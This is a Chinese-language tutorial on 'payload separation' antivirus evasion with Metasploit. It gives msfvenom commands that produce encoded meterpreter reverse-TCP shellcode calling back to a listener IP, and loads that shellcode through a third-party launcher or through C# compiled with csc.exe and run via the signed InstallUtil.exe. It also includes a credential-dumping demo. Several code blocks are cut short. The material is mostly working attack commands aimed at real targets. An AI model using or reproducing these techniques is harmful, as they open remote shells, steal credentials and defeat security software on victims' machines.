MSF payload分离免杀思路
/0x00 前言
参考Micro8系列第四十七课:https://micro8.gitbook.io/micro8/contents-1/41-50/47payload-fen-li-mian-sha-si-lu
参考Micro8系列第四十八课:https://micro8.gitbook.io/micro8/contents-1/41-50/48payload-fen-li-mian-sha-si-lu-di-er-ji
0x01 32位系统payload分离免杀
目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对 PE 头文件的查杀。尤其是当 payload 文件越大的时候,特征越容易查杀。
既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免 PE 头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于 windows 下为了更稳定的一种常用手法。载入内存。
下面以MSF为例。
先开启MSF监听:
1 | msf6 > use exploit/multi/handler |
接着,payload不采取生成PE文件的方式,而是采取Shellcode的方式、借助第三方直接加载到内存中、避免相关的检测行为:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.17.0.2 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c |
既然是Shellcode方式的payload,那么一定需要借助第三方来启动,加载到内存。
自己写第三方加载内存来执行Shellcode是可以的,也可以借用GitHub上的一个开源项目来实现:https://github.com/clinicallyinane/shellcode_launcher/
1 | D:\sec\tools\shellcode_launcher-master>shellcode_launcher.exe -i test.c |
virscan免杀效果:
virustotal免杀效果,相比之前是提高了查杀率了:
0x02 64位系统payload分离免杀
前面的payload分离免杀思路是专门针对32位系统以及针对包括XP以下版本系统的。而在实战中,目标机器多为Windows 7以上版本,并且以64位居多。
前面的思路是借助了非微软自带第三方来执行Shellcode,而本次将采取调用微软自带来执行Shellcode,好处就是调用自带本身一定就会有微软的签名,从而绕过反病毒软件。
Windows 自 Windows XP Media Center Edition 开始默认安装 NET Framework,直至目前的 Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。
csc.exe
C#是一个现代的、通用的、面向对象的编程语言,它是由微软(Microsoft)开发的,由Ecma和ISO核准认可的。
C#在Windows平台下的编译器名称是csc.exe,如果.NET FrameWork SDK安装在C盘,那么jiu可以在C:\Windows\Microsoft.NET\Framework\xxxxx
目录中找到它。为了使用方便,可以将该目录添加到Path环境变量中去。
test.cs:
1 | using System; |
输入下列行命令就能将test.cs编译成名为test.exe的console应用程序:
1 | D:\tmp>csc /target:exe test.cs |
InstallUtil.exe
微软官方介绍如下:
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace. This tool is automatically installed with Visual Studio. To run the tool,use the Developer Command Prompt (or the Visual Studio Command Prompt in Windows7). For more information, see Command Prompts. https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
32位和64位的默认安装路径:
1 | C:\Windows\Microsoft.NET\Framework |
Demo1
以抓密码为例。
生成密钥:
1 | sn -k installutil.snk |
执行csc:
1 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mi1k7ea.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe C:\Users\Johnn\Desktop\mimi.cs |
执行InstallUtil:
1 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Johnn\Desktop\Mi1k7ea.exe |
Demo2
以MSF为例。
生成Shellcode:
1 | msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b '\x00' -e x64/xor -i 10 -f csharp -o ./Mi1k7ea.txt |
替换Shellcode,M.cs:
1 |
编译:
1 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:Mi1k7ea.exe M.cs |
运行:
1 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U Mi1k7ea.exe |
注意,在实际测试的过程,开启监听需要配置一些参数,防止假死与假session:
1 | msf exploit(multi/handler) > set exitonsession false |
这里暂时无对应的cs文件。。。